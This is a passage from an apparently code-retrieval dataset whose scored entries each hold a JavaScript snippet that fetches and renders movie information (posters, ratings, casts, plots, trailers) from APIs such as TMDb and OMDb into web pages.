info.length; i = i+2) {\n // Define local image names since swapi doesn't return images\n let image1 = info[i].title.toLowerCase().split(' ').join('_'),\n image2 = info[i+1].title.toLowerCase().split(' ').join('_');\n\n html += `<div class=\"col-sm-4\">\n <div class=\"card\">\n <div class=\"row\">\n <div class=\"col-sm-6 film\">\n <div class=\"poster\">\n <img src=\"./images/${image1}.jpg\" alt=\"${info[i].title} Poster\">\n </div>\n <h3>${info[i].title}</h3>\n <h4>\n <span>directed by</span>\n ${info[i].director}\n </h4>\n <ul class=\"list-unstyled\">\n <li>${info[i].chars[0]}</li>\n <li>${info[i].chars[1]}</li>\n <li>${info[i].chars[2]}</li>\n </ul>\n </div>\n <div class=\"col-sm-6 film\">\n <div class=\"poster\">\n <img src=\"./images/${image2}.jpg\" alt=\"${info[i+1].title} Poser\">\n </div>\n <h3>${info[i+1].title}</h3>\n <h4>\n <span>directed by</span>\n ${info[i+1].director}\n </h4>\n <ul class=\"list-unstyled\">\n <li>${info[i+1].chars[0]}</li>\n <li>${info[i+1].chars[1]}</li>\n <li>${info[i+1].chars[2]}</li>\n </ul>\n </div>\n </div>\n </div>\n </div>`;\n }\n writeHtml(html, 'films');\n}", "title": "" }, { "docid": "b88d0e524130dafd1e1303866b07aa28", "score": "0.61969936", "text": "async function single_film(){\n let filmID = sessionStorage.getItem('movieID');\n let filmAPI = `https://api.themoviedb.org/3/movie/${filmID}?api_key=b84566034ae4d00d77950d5426f0c71c`;\n let singleReq = await fetch(filmAPI);\n let singleResponse = await singleReq.json();\n console.log(singleResponse);\n films.innerHTML = \n `<div class=\"single\">\n <img src=\"${imgpath + singleResponse.poster_path}\" alt=\"poster\">\n <div class =\"single-info\">\n <h3>${singleResponse.title}</h3>\n <div class=\"rate-date\">\n <h3>Release Date: ${singleResponse.release_date}</h3>\n <h4>Score : <span>${singleResponse.vote_average}</span></h4>\n </div>\n \n <p>Plot:<br><br>${singleResponse.overview}</p>\n <a href=\"index.php\">return to main page</a> \n </div> \n </div>\n `; \n\n for(i=0; i<singleResponse.genres.length; i++){\n let Filmgenres = document.createElement('p');\n Filmgenres.classList.add('genres');\n Filmgenres.innerHTML = `${singleResponse.genres[i].name}`;\n \n console.log(Filmgenres);\n \n genreContainer.appendChild(Filmgenres);\n\n \n \n }\n \n\n }", "title": "" }, { "docid": "58f38de9d4494732dacbca631e9f277b", "score": "0.6195594", "text": "function displayMovieCollection(data){\n //render template using movie collection from data\n var template = Handlebars.compile($(\"#moxie-template-movie\").html());\n var newHtml = template(data);\n\n // animate the data change, keeping previous element height to avoid scroll jump\n $('.moxie-control').fadeIn(50);\n $('#moxie-grid').css('min-height',$('#moxie-grid').height());\n $('.mxp_grid-overlay').show().fadeOut();\n $('#moxie-grid').html(template(data));\n $('#moxie-grid').prepend('<div class=\"mxp_grid-sizer\"></div>');\n updateGrid(); // activate masonry when finished\n }", "title": "" }, { "docid": "246c0db37470788c39d0fbe226772e3d", "score": "0.619251", "text": "function createMovie(movie) {\n movie = movie[\"movie\"];\n var parent = document.getElementById('parent');\n parent.children[0].children[0].src = \"http://image.tmdb.org/t/p/w500//\" + movie.poster_path;\n var p = parent.children[0].children[1];\n p.children[0].innerHTML = movie.title;\n p.children[1].innerHTML = $.map(movie.genres, function (v) {\n return v.title;\n }).join(' | ');\n p.children[2].innerHTML = \"&#9733 \" + movie.rating.toFixed(1);\n p.children[3].innerHTML = movie.description;\n p.children[5].innerHTML = new Date(movie.release_date).toLocaleDateString();\n p.children[7].innerHTML = movie.runtime + \" min\";\n p.children[9].innerHTML = \"$\" + (movie.budget / 100).toFixed(2).replace(/\\d(?=(\\d{3})+\\.)/g, '$&,');\n p.children[11].innerHTML = $.map(movie.directors, function (v) {\n return v.name;\n }).join(', ');\n var p = parent.children[1];\n for (var i = 0; i < movie.actors.length; i++) {\n actor = movie.actors[i];\n createActorForMovie(actor.name, actor.character, actor.photo_path);\n }\n InitializeCarousel();\n for (var i = 0; i < movie.reviews.length; i++) {\n review = movie.reviews[i];\n createReviewForMovie(review.author, review.description, review.date_created);\n }\n}", "title": "" }, { "docid": "f33ebb81259b1f863ce266bbd8772255", "score": "0.6175592", "text": "function createMovieEl(movies) {\n container.innerHTML = ''\n movies.forEach(movie => {\n const {\n poster_path,\n title,\n overview,\n release_date,\n vote_average\n } = movie\n const movieHTML = document.createElement('div')\n movieHTML.classList.add('movie')\n movieHTML.innerHTML = `<img class=\"movie__img\" src=\"${IMG_URL + poster_path}\" alt=\"\">\n <div class=\"movie__info\">\n <p class=\"movie__title\">${title}</p>\n <span class=\"movie__rating ${changeColorOfRating(vote_average)}\">${vote_average}</span>\n </div>\n <div class=\"overview\">\n <h3 class=\"overview__heading\">Overview</h3>\n <p class=\"overview__text\">\n ${overview}\n </p>\n <span class=\"overview__date\">${release_date}</span>\n </div>`\n container.appendChild(movieHTML)\n if (poster_path === null) {\n movieHTML.style.display = 'none'\n } else {\n movieHTML.style.display = 'flex'\n }\n })\n }", "title": "" }, { "docid": "4629bed6af5e313b7fc438b201d2aea7", "score": "0.61726755", "text": "function moviesFound(results, page) {\n\n var poster,\n imdb; \n\n $(\"#movies\").html(\"\");\n\n for(var i = 0; i < results.Search.length; i++) {\n\n imdb = \"http://www.imdb.com/title/\" + results.Search[i].imdbID;\n\n if(results.Search[i].Poster == \"N/A\") {\n\n poster = \"<a href=\" + imdb + \"><i class='material-icons poster-placeholder'>crop_original</i></a>\";\n\n } else {\n\n poster = \"<a href=\" + imdb + \"><img class='movie-poster' src=\" + results.Search[i].Poster + \"></a>\";\n\n }\n $(\"#movies\").append(\n\n \"<li>\" +\n \"<div class='poster-wrap'>\" +\n poster +\n \"</div>\" + \n \"<div class='info'>\" +\n \"<span class='movie-title'>\" + results.Search[i].Title + \"</span>\" +\n \"<span class='movie-year'>\" + results.Search[i].Year + \"</span>\" +\n \"<a class='description' href='#'>More Info</a>\" + \n \"</div>\" +\n \"<div class='more-info'>\" +\n \"<div class='more-img'>\" + poster + \"<span>\" + results.Search[i].Title + \"</span></br><span>\" + results.Search[i].Year + \"</span></br><span>IMDb Rating: <span class=\" + movieRating(results.Search[i].score) +\">\" + results.Search[i].score + \"</span></span><span class='exit0'>X</span></div>\" +\n \"<p class='review'>\" + results.Search[i].review + \"</p>\" +\n \"<p class='plot'>\" + \"<span class='indi'>PLOT</span>\" + results.Search[i].moreInfo + \"</p>\" +\n \"</div>\" +\n \"</li>\"\n ); \n }\n\n /*\n if this is the intial movie search, run moviePagination() -\n else update page number\n */\n if(page == '1' && !$(\".pagination\").length) {\n moviePagination(results, page);\n } else { \n $(\".page\").text(\"Page \" + page); \n }\n\n $(\".description\").hide();\n\n }", "title": "" }, { "docid": "b8e461413425f3cc5fc4438e3aefbe32", "score": "0.61630106", "text": "function renderSearchMovies(data) {\n // data.results []\n movieSearchable.innerHTML = \"\";\n const movies = data.results;\n const movieBlock = createMovieContainer(movies);\n movieSearchable.appendChild(movieBlock);\n console.log(\"Data: \", data);\n}", "title": "" }, { "docid": "7b2c60d106234b6b7aecb1f13c500a5f", "score": "0.6161177", "text": "displaySearchResult(movies) {\r\n this.clearSearchResult();\r\n\r\n const navSearchResultContainer = document.querySelector(\".nav-search-results\");\r\n\r\n let numberOfShown = 0;\r\n if (movies.length > 5) {\r\n numberOfShown = 5;\r\n }\r\n else {\r\n numberOfShown = movies.length;\r\n }\r\n\r\n for (let i = 0; i <numberOfShown; i++) {\r\n\r\n let movieItem = movies[i];\r\n\r\n let pathName = window.location.pathname;\r\n let path = (pathName.includes('pages/')) ? '' : 'pages/';\r\n\r\n let moviePoster = IMGPATH + movieItem.poster_path;\r\n let movieName = (movieItem.title !== undefined) ? movieItem.title : movieItem.name;\r\n let type = (movieItem.title !== undefined) ? 'movie' : 'tv';\r\n let moviehRef = `${path}film.html?name=${movieName}&id=${movieItem.id}&type=${type}`;\r\n\r\n const div = document.createElement('div');\r\n div.classList.add('nav-search-result-item');\r\n div.innerHTML = `\r\n <img src=${moviePoster} alt=\"\">\r\n <div class=\"nav-search-result-item-info\">\r\n <a href=\"${moviehRef}\"><h5>${movieName}</h5></a>\r\n <span>\r\n <p>Type</p>\r\n <p>IMDB: ${movieItem.vote_average}</p>\r\n </span>\r\n </div>\r\n `;\r\n navSearchResultContainer.appendChild(div);\r\n }\r\n\r\n }", "title": "" }, { "docid": "f82475297abdfbd987a40b3c670ed5a2", "score": "0.6161046", "text": "function appendMovie(response) {\n $(\".display\").empty();\n $(\"#movie-display\").css(\"background-color\", \"rgba(204, 204, 204, .9)\");\n var movieTitle = $(\"<p>\").text(response.Title);\n var movieRated = $(\"<p>\").text(response.Rated);\n var movieActors = $(\"<p>\").text(response.Actors);\n var movieGenre = $(\"<p>\").text(response.Genre);\n var moviePlot = $(\"<p>\").text(response.Plot);\n var movieCritic = $(\"<p>\").text(response.Ratings[2].Source);\n var movieCriticRating = $(\"<p>\").text(response.Ratings[2].Value);\n var moviePosterUrl = response.Poster;\n var movieTrailer = $(\"<button>\").text(\"Watch \" + response.Title + \" Trailer\").attr(\"class\", \"btn btn-primary btn-lg btn-block\")\n .attr(\"data-value\", response.Title)\n .attr(\"id\", \"trailer\");\n $(\"#movie-title\").append(movieTitle);\n $(\"#movie-rated\").append(movieRated);\n $(\"#movie-actors\").append(movieActors);\n $(\"#movie-genre\").append(movieGenre);\n $(\"#movie-plot\").append(moviePlot);\n $(\"#movie-critic\").append(movieCritic);\n $(\"#movie-rating\").append(movieCriticRating);\n $(\"#movie-poster\").attr(\"src\", moviePosterUrl);\n $(\"#movie-trailer\").append(movieTrailer);\n }", "title": "" }, { "docid": "40d47493e016d0c01d51a5d19b0ecd32", "score": "0.61391526", "text": "function renderMovie(movie) {\n const div = document.createElement('div')\n div.classList.add('moviecard')\n div.dataset.id = movie.id\n div.innerHTML = `<h2>${movie.title}</h2> \n <img class= \"movie-image\" src= \"${movie.image}\" alt=\"${movie.title}\">\n <img class= \"logo\" src=\"${whatMovie(movie)}\">\n <button class= \"addBtn\"> Add to list</button>\n `\n\n myMovieDiv.append(div)\n}", "title": "" }, { "docid": "f9fac34e3f8283bd00268867d641e65a", "score": "0.6139038", "text": "function insert_details(imdb,rotten_tomatoes,metacritic,genre,year,runtime,title,imdbID,posterSrc,plot,action){\n\tgenre = genre.split(\",\");\n\n\tvar movie_section = document.getElementsByClassName(\"module__title js-about-item-title\");\n\t\n\tvar movie_info = document.createElement(\"p\");\n\tmovie_info.setAttribute(\"style\",\"font-size:13px;\")\n\tmovie_info.innerHTML = year+\" . \"+genre[0]+\", \"+genre[1]+\" . \"+runtime;\n\n\n\tvar div = document.createElement(\"div\");\n\tdiv.setAttribute(\"style\", \"width: 290px;font-size:14px;margin-top:10px;\");\n\tdiv.setAttribute(\"align\", \"center\");\n\n\t\n\tvar div1 = document.createElement(\"div\");\n\tif (imdb!==\"NA\" || imdb!==\"N/A\"){\n\t\tif(rotten_tomatoes!==\"NA\" || rotten_tomatoes!==\"N/A\"){\n\t\t\tdiv1.setAttribute(\"style\", \"float: left; width:76px;border-right: 1px solid;\");\n\t\t}\n\t\telse{\n\t\t\tdiv1.setAttribute(\"style\", \"float: left; width:76px;\");\n\t\t}\n\t\tdiv1.innerHTML = imdb+\"<br>IMDb\";\n\t}\n\n\n\tvar div2 = document.createElement(\"div\");\n\tif (rotten_tomatoes!==\"NA\"){\n\t\tif (metacritic!==\"NA\"){\n\t\t\tdiv2.setAttribute(\"style\", \"float: left; width:120px;border-right: 1px solid;\");\n\t\t}\n\t\telse{\n\t\t\tdiv2.setAttribute(\"style\", \"float: left; width:120px;\");\n\t\t}\n\t\tdiv2.innerHTML = rotten_tomatoes+\"<br>Rotten Tomatoes\";\n\t}\n\n\tvar div3 = document.createElement(\"div\");\n\tif (metacritic!==\"NA\"){\n\t\tdiv3.setAttribute(\"style\", \"float: left; width:76px;\");\n\t\tdiv3.innerHTML = metacritic+\"<br>Metacritic\";\n\t}\n\n\tvar br = document.createElement(\"br\")\n\tbr.setAttribute(\"style\", \"clear: left\");\n\n\tdiv.appendChild(div1);\n\tdiv.appendChild(div2);\n\tdiv.appendChild(div3);\n\tdiv.appendChild(br);\n\n\tif (movie_section.length !== 0){\n\t\tmovie_section[0].appendChild(movie_info);\n\t\tmovie_section[0].appendChild(div);\n\t} else {\n\t\t// Comes here, if searched with movie or series in the suffix\n\n\t\t// creates the sideBar and its respective DOM elements.\n\t\tvar sideBarSection = document.getElementsByClassName(\"js-sidebar-ads\");\n\t\t\n\t\tvar sideDiv1 = document.createElement(\"div\");\n\t\tsideDiv1.className = \"module-slot\";\n\t\tsideDiv1.id = \"m0-0\";\n\n\t\tvar sideDiv2 = document.createElement(\"div\");\n\t\tsideDiv2.className = \"module module--about module--zci-wikipedia_fathead js-module--wikipedia_fathead js-about-module has-content-height\";\n\n\t\tvar sideDiv3 = document.createElement(\"div\");\n\t\tsideDiv3.className = \"module__content js-about-module-content\";\n\n\t\tvar sideDiv4 = document.createElement(\"div\");\n\t\tsideDiv4.className = \"module__body js-about-item\";\n\n\t\tvar sideDiv5 = document.createElement(\"div\");\n\t\tsideDiv5.className = \"module__title js-about-item-title\";\n\n\t\t// creates poster's DOM element\n\t\tvar posterDiv = document.createElement(\"a\");\n\t\tposterDiv.className = \"module--about__img\";\n\t\tposterDiv.href = posterSrc;\n\n\t\tvar posterImage = document.createElement(\"img\");\n\t\tposterImage.src = posterSrc;\n\t\tposterImage.className = \"module__image\";\n\t\tposterImage.setAttribute(\"style\", \"align: right; width: 90px;\");\n\t\t\n\t\tposterDiv.appendChild(posterImage);\n\t\tsideDiv4.appendChild(posterDiv);\n\n\t\t// creates the plot/summary DOM element\n\t\tvar plotDiv = document.createElement(\"div\");\n\t\tplotDiv.className = \"module__text\";\n\n\t\tvar plotText = document.createElement(\"span\");\n\t\tplotText.className = \"js-about-item-abstr\";\n\t\tplotText.innerHTML = plot;\n\n\t\tvar plotSrc = document.createElement(\"a\");\n\t\tplotSrc.className = \"module__more-at js-about-item-more-at-inline tx--bold\";\n\t\tplotSrc.href = \"http://omdbapi.com/\";\n\t\tplotSrc.innerHTML = \"OMDbAPI\"+\"<br>\";\n\n\t\tplotDiv.appendChild(plotText);\n\t\tplotDiv.appendChild(plotSrc);\n\n\t\t// creates about-profile to insert the imdb source\n\t\tvar aboutDOM = document.createElement(\"ul\");\n\t\taboutDOM.className = \"about-profiles\";\n\n\t\tvar imdbProfile = document.createElement(\"li\");\n\t\timdbProfile.className = \"about-profiles__item\";\n\n\t\tvar imdbLink = document.createElement(\"a\");\n\t\timdbLink.className = \"about-profiles__link module__link js-about-profile-link\";\n\t\timdbLink.href = \"https://www.imdb.com/title/\"+imdbID;\n\t\timdbLink.title = \"IMDb\";\n\t\timdbLink.innerHTML = \"<img class='about-profiles__img' src='/assets/icons/thirdparty/imdb.svg'>IMDb\"\n\n\t\t// imdbLink.appendChild(imdbImg);\n\t\timdbProfile.appendChild(imdbLink);\n\t\taboutDOM.appendChild(imdbProfile);\n\n\t\t// Appends everything together in heirarchy for sidebar.\n\t\tsideDiv4.appendChild(sideDiv5);\n\t\tsideDiv4.appendChild(plotDiv);\n\t\tsideDiv4.appendChild(aboutDOM);\n\t\tsideDiv3.appendChild(sideDiv4);\n\t\tsideDiv2.appendChild(sideDiv3);\n\t\tsideDiv1.appendChild(sideDiv2);\n\t\tsideBarSection[0].appendChild(sideDiv1);\n\n\t\t// creates Movie/Series Title's DOM element\n\t\tvar sideDivTitle = document.createElement(\"span\");\n\t\tsideDivTitle.className = \"module__title__link\";\n\t\tsideDivTitle.innerHTML = title;\n\n\t\t// Appends everything together in heirarchy for the about section in the side DOM.\n\t\tvar movie_section = document.getElementsByClassName(\"module__title js-about-item-title\");\n\t\tmovie_section[0].appendChild(sideDivTitle);\n\t\tmovie_section[0].appendChild(movie_info);\n\t\tmovie_section[0].appendChild(div);\n\t}\n}", "title": "" }, { "docid": "a123c99ecf1815b3c39683a9c2c8f4d4", "score": "0.6138481", "text": "function handleMovie(movie) {\n let id = movie._id;\n let allReviews = movie.reviews;\n\n getReviewData(movie);\n\n // if there are ratings, calculate the average\n if (reviewsRatings.ratings != \"No ratings currently\") {\n calculateAverageRating(reviewsRatings);\n }\n\n renderMovie(movie, avgRating);\n\n //display no reviews message\n if (reviewsRatings.reviews === \"No reviews currently\") {\n $('.movieReviews').html(`<p>${reviewsRatings.reviews}`);\n }\n\n // If there are reviews, render them in the page\n if (reviewsRatings.reviews != \"No reviews currently\") {\n renderAllReviews(reviewsRatings);\n }\n console.log('movie rendered');\n }", "title": "" }, { "docid": "3aacfdb67ff38795840c2329b5be4507", "score": "0.61325663", "text": "function printFilmsCards(data) {\n const filmContent = document.querySelector('#films');\n //console.log(filmContent);\n let template = getFilmData(data);\n filmContent.innerHTML = `\n <h2 class=\"section-title\">The Films</h2>\n ${template}`;\n}", "title": "" }, { "docid": "5715f2e4b9fbba6789097f43150aad40", "score": "0.61270386", "text": "function getAndDisplayMovieUpdates() {\n\tgetNewMovieUpdates(displayMovieUpdates);\n}", "title": "" }, { "docid": "5f427fd6a500a0888e5f3c08a3bfc96f", "score": "0.612531", "text": "function getmovieDetails() {\n var omdbApikey = \"c969d7f5\";\n if (group) {\n searchTopic = group;\n }\n else {\n searchTopic = hero;\n }\n\n event.preventDefault();\n var queryURL = \"https://www.omdbapi.com/?t=\" + searchTopic + \"&apikey=\" + omdbApikey;\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n\n if (response) {\n if (response.Poster) {\n var url = response.Poster\n }\n if (response.Released) {\n var yRelease = response.Released\n }\n if (response.Rated) {\n var rating = response.Rated\n }\n if (response.Plot) {\n var ploting = response.Plot\n }\n else {\n // TODO: either leave empty or come up with message for user - picture of deadpool?\n }\n }\n displayOmdbImage(url, yRelease, rating, ploting)\n });\n }", "title": "" }, { "docid": "3dde5b0c6499285b8e4c4f2667c07cb6", "score": "0.61224824", "text": "function displayMovies(movies) {\n let movieList = document.querySelector(\"#movielist\")\n let fragment = document.createDocumentFragment()\n movies.forEach((movie, index) => {\n // Make an h3 element\n let title = elementFactory(\"h3\", movie.Title, {\n class: \"movieTitle\"\n })\n let poster = elementFactory(\"img\", null, {\n class: \"moviePoster\",\n src: movie.Poster\n })\n // make a p element to contain the cast list\n let cast = elementFactory(\"p\", `Cast: ${movie.Actors}`, {\n id: null,\n class: \"movieCast\"\n })\n // Make a list item component composed of the h3 and p elements\n let movieListItem = elementFactory(\"li\", null, {\n id: \"movieItem\",\n class: \"movieItem\"\n }, title, poster, cast)\n\n // Attach the new list item to the fragment\n fragment.appendChild(movieListItem)\n })\n // Insert the list items into the DOM as children of the ul in index.html\n movieList.appendChild(fragment)\n}", "title": "" }, { "docid": "fe0ff6caf0a137c19858db480f37aecd", "score": "0.6114929", "text": "function displayMovies() {\n\n let movieCard = `<div class=\"card text-center border-light bg-transparent\">\n <div class=\"card-header bg-transparent border-light text-white\">Currently Playing Nearby</div>\n <div class=\"card-body\" id=\"movie-title-display\">`;\n\n $(\"#column-1\").append(movieCard);\n\n for (var k = 0; k < currentMovies.length; k++) {\n let movieTitle = currentMovies[k].title;\n\n let movieCardTitle = `<a href=\"javascript:;\" class=\"movie-title\" id=\"${k}\">\n <p class=\"card-text text-white\">${movieTitle}</p></a>`;\n\n $(\"#movie-title-display\").append(movieCardTitle);\n\n }\n\n}", "title": "" }, { "docid": "7ce8a9cab5d83ccf2c0c60b3970f6735", "score": "0.6086222", "text": "function renderMovies(movieArray) {\n myMovieDiv.innerHTML = \"\"\n movieArray.forEach(movie => {\n renderMovie(movie)\n })\n}", "title": "" }, { "docid": "66b5877ce09ff83e3c6f4e8c2e251b75", "score": "0.6083543", "text": "function createInfoWindowContent(director, title, location) {\n\t\tvar contentString = \n\t\t\t'<div class = \"text-capitalize\">'+ \"Movie: \" + title + ', </div>' + \n\t\t\t'<div class = \"text-capitalize\">'+ \"Directed By: \" + director + ', </div>' + \n\t\t\t'<div class = \"text-capitalize\">'+ \"Location: \" + location + \", San Francisco, CA\" + '.</div>';\n\t\treturn contentString;\n\t}", "title": "" }, { "docid": "04d56995e3b05ba2fc3ca190d547f101", "score": "0.60828906", "text": "function buildMovieDesc() {\r\n\t\r\n\tvar myString = \"<div style='float: left; width: 250px;'>\"\r\n\t\t + \"<a href = 'http://www.imdb.com/title/\" + movieDesc.imdb_id + \"' target='_blank'>\"//imdb_id \r\n\t\t + \"<span class='image-wrap' style='width: auto; height: auto;''>\"\r\n\t\t +\"<img src='\"\r\n\t\t + \"http://image.tmdb.org/t/p/w185/\" + movieDesc.poster_path\r\n\t\t +\"' alt='No cover available'>\"\r\n\t\t + \"</span>\"\r\n\t\t + \"</a>\"\r\n\t\t + \"</div>\"\r\n\t\t + \"<div style='float: left; width: 350px;'>\"\r\n\t\t + \"<p class = 'descriptionItem'>Infos</p>\"\r\n\t\t + \"<div style='margin-top: 10px;'>\"\r\n\t\t + \"<ul style='list-style-type: none';>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Original title: </b>\" + movieDesc.original_title\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Director: </b>\" + movieDesc.director\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Genres: </b>\" + movieDesc.genres\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Release date: </b>\" + movieDesc.release_date\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Runtime: </b>\" + movieDesc.runtime\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Cast: </b>\" + movieDesc.cast\r\n\t\t + \"</li>\"\r\n\t\t + \"<li>\"\r\n\t\t + \"<b>Rating: </b>\" + movieDesc.vote_average\r\n\t\t + \"</li>\"\r\n\t\t + \"</ul>\"\r\n\t\t + \"</div>\"\r\n\t\t + \"</div>\"\r\n\t\t + \"<div style='float: right; width: 250px;'>\"\r\n\t\t + \"<p class = 'descriptionItem'>Plot</p>\"\r\n\t\t + \"<div id='moviePlot' style='margin-top: 10px;'>\" + movieDesc.overview + \"</div>\"\r\n\t\t + \"</div>\"\r\n\t\t \r\n\t\t return myString;\r\n\t\t \r\n\t}", "title": "" }, { "docid": "9f6c492996b7200d25dd0c28bbf6ac96", "score": "0.60809594", "text": "function rendervideos(movieid, b, c) {\n\n const main_url = `movie/${movieid}/videos`;\n let search_url = `${base_url}${main_url}?api_key=${api_key}`;\n\n fetch(search_url)\n .then((data) => data.json())\n .then((data) => {\n console.log(data);\n b.innerHTML = '';\n let results = data.results;\n if (results) {\n if (results.length != 0) {\n let length = (results.length > 2) ? 2 : results.length;\n for (let i = 0; i < length; i++) {\n displayvideos(results[i].key, data, b, c)\n }\n\n }\n else {\n c.classList.remove(\"none\")\n b.innerHTML = '';\n b.classList.add(\"notrailerfound\");\n b.innerHTML = `<div><h2><i class=\"fas fa-heart-broken\"></i> NO TRAILERS FOUND <i class=\"far fa-frown\"></i></h2><div>`\n\n }\n\n }\n else {\n c.classList.remove(\"none\")\n b.innerHTML = '';\n b.classList.add(\"notrailerfound\");\n b.innerHTML = `<div><h2><i class=\"fas fa-heart-broken\"></i> NO TRAILERS FOUND <i class=\"far fa-frown\"></i></h2><div>`\n\n }\n\n })\n}", "title": "" }, { "docid": "e5d48c24f33297cbd62ace70db0798b3", "score": "0.60652167", "text": "function getMovie() {\n let movieId = sessionStorage.getItem('movieId');\n\n\n // Makes a request for th user, with the id of the selected movie\n axios.get(\"https://api.themoviedb.org/3/movie/\" + movieId + \"?api_key=98325a9d3ed3ec225e41ccc4d360c817\") //New key needed\n .then(function(response) {\n let movie = response.data;\n console.log(movie); //(For debugging reasons)\n\n //Output section which will populate movie.html will requested film data\n let output = `\n <div class=\"container mx-auto\">\n <div class=\"row mt-5\">\n <div class=\"col-sm\">\n <img class=\"img-thumbnail\" src=\"https://image.tmdb.org/t/p/w500${movie.poster_path}\">\n </div> \n <div class=\"col\">\n <h2>${movie.title}</h2>\n <ul class=\"list-group\">\n <li class=\"list-group-item\"><strong>Genre:</strong> ${movie.genres[0].name}, ${movie.genres[1].name}</li>\n <li class=\"list-group-item\"><strong>Released:</strong> ${movie.release_date}</li>\n <li class=\"list-group-item\"><strong>Rated:</strong> ${movie.vote_average}</li>\n <li class=\"list-group-item\"><strong>Runtime:</strong> ${movie.runtime} min.</li>\n <li class=\"list-group-item\"><strong>Production Co:</strong> ${movie.production_companies[0].name} min.</li>\n </ul>\n </div>\n </div>\n </div> \n <div class=\"container\"> \n <div class=\"row\">\n <div class=\"col-sm-6 film-con\">\n <h3>Plot</h3>\n ${movie.overview}\n <hr>\n <a href=\"http://imdb.com/title/${movie.imdb_id}\" target=\"_blank\" class=\"btn btn-primary\">View on IMDB</a>\n <a href=\"index.html\" class=\"btn btn-light\">To Search</a>\n </div>\n </div>\n </div>\n `;\n $('#movie').html(output);\n })\n\n\n .catch(function(error) {\n console.log(error);\n });\n}", "title": "" }, { "docid": "6d14a854131374bf39af29481307f176", "score": "0.60585725", "text": "function renderposters(data) {\n\n let results = data.results;\n let content = document.querySelector(\".searchedmovies .content\");\n searchedmoviescontent.innerHTML = '';\n content.innerHTML = '';\n let h2 = document.createElement(\"h2\");\n let h5 = document.createElement(\"h5\");\n\n h5.textContent = `scroll for all the results >>`\n h2.innerHTML = `Showing results for : \" ${movieinput.value} \"`;\n movieinput.value = '';\n content.appendChild(h2);\n content.appendChild(h5);\n\n if (results.length !== 0) {\n searchedmoviescontent.classList.remove(\"movienotfound\")\n searchedmoviesdiv.prepend(content);\n results.map((poster) => {\n if (poster.poster_path) {\n displayposters(poster.poster_path, poster);\n }\n })\n }\n else {\n let div = document.createElement(\"div\");\n div.innerHTML = `<div><h2><i class=\"fas fa-heart-broken\"></i> NO MOVIE FOUND <i class=\"far fa-frown\"></i></h2><div>`\n searchedmoviescontent.classList.add(\"movienotfound\")\n searchedmoviescontent.appendChild(div);\n }\n}", "title": "" }, { "docid": "0ef89b4af4a52753a23eb50153974711", "score": "0.6058179", "text": "function showActors(){\n document.getElementById(\"addRelease\").style.display=\"none\";\n document.getElementById(\"addimages\").style.display=\"none\";\n document.getElementById(\"addRec\").style.display=\"none\";\n document.getElementById(\"actors\").style.display=\"inline\";\n var actJSON = new XMLHttpRequest();\n \n var begin=\"https://api.themoviedb.org/3/movie/\"\n var mId = localStorage.getItem(\"movieId\");\n var api = \"?api_key=cfaf5a037f8e81c516eb5dbc1c98908f\"\n var cred = \"&append_to_response=credits\"\n \n var address = begin + mId + api + cred;\n \n document.getElementById(\"address\").innerHTML = address;\n\n actJSON.onreadystatechange = function(){\n if(this.readyState === 4 && this.status === 200) {\n var dataAct = JSON.parse(this.responseText);\n var cast = dataAct.credits.cast;\n var showTopCast;\n var compCast;\n for (i=0; i<=0; i++){\n var name = dataAct.credits.cast[i].name;\n var character = dataAct.credits.cast[i].character;\n var headShot = \"http://image.tmdb.org/t/p/w300\" + dataAct.credits.cast[i].profile_path;\n showTopCast = \"<p> <img class='actorimg' src='\" + headShot + \"' > <br>\" + name + \" - \" + character;\n }\n for (i = 1; i<=5; i++){\n var name = dataAct.credits.cast[i].name;\n var character = dataAct.credits.cast[i].character;\n var headShot = \"http://image.tmdb.org/t/p/w300\" + dataAct.credits.cast[i].profile_path;\n showTopCast += \"<p> <img class='actorimg' src='\" + headShot + \"' > <br>\" + name + \" - \" + character;\n }\n for (i=0; i<=0; i++){\n var name = dataAct.credits.cast[i].name;\n var character = dataAct.credits.cast[i].character;\n \n compCast = \"<p>\" + name + \" - \" + character + \"</p>\";\n }\n for (i = 6; i<cast.length; i++){\n var name = dataAct.credits.cast[i].name;\n var character = dataAct.credits.cast[i].character;\n \n compCast += \"<p>\" + name + \" - \" + character + \"</p>\";\n }\n \n document.getElementById(\"actors\").innerHTML = \"<h3>The Top Cast is </h3>\" + showTopCast + \"<h3> The Rest of the Cast </h3>\" + compCast;\n \n \n \n }\n }\n actJSON.open(\"GET\", address, true);\n actJSON.send();\n}", "title": "" }, { "docid": "c2129820d2f9ae2ca14aac8adebbed7c", "score": "0.6053826", "text": "function render_game_info() {\n game = cache.games[game_id];\n target = $('#game_info .game_info_list');\n target.html('');\n render_game_score(game, game_id, target);\n\n template = templates.game_info_entry;\n info = cache.game_info[game_id];\n target.append(template, {\n headline : info.headline,\n recap : info.recap,\n });\n}", "title": "" }, { "docid": "4a48b3bee545b917061f5d9d7001dfbe", "score": "0.60498583", "text": "function displayMovies(url, req, res) {\n // Here we use the fs package to read our homePage.html file\n fs.readFile(__dirname + \"/movies.html\", function(err, data) {\n\n // We then respond to the client with the HTML page by specifically telling the browser that we are delivering\n // an html file.\n res.writeHead(200, { \"Content-Type\": \"text/html\" });\n res.end(data);\n });\n }", "title": "" }, { "docid": "add97fe9a45f7e769bfde0506efde76b", "score": "0.60485876", "text": "function updateUI(movies) {\n let cards = '';\n movies.map(movie => cards += showCards(movie));\n let content = document.querySelector('.content-movies');\n content.innerHTML = cards;\n}", "title": "" }, { "docid": "b8ea42c50afba3fe08fe5aded20f6b58", "score": "0.60448045", "text": "function movieFormatResult(movie) {\r\n var markup = \"<table class='movie-result'><tr>\";\r\n if (movie.icon !== undefined) {\r\n markup += \"<td class='movie-image'><img src='\" + movie.icon + \"'/></td>\";\r\n }\r\n markup += \"<td class='movie-info'><div class='movie-title'>\" + movie.title + \"</div>\";\r\n if (movie.price !== undefined) {\r\n markup += \"<div class='movie-synopsis'>$\" + movie.price + \" (v\" + movie.version + \")</div>\";\r\n }\r\n else if (movie.description !== undefined) {\r\n markup += \"<div class='movie-synopsis'>\" + movie.description + 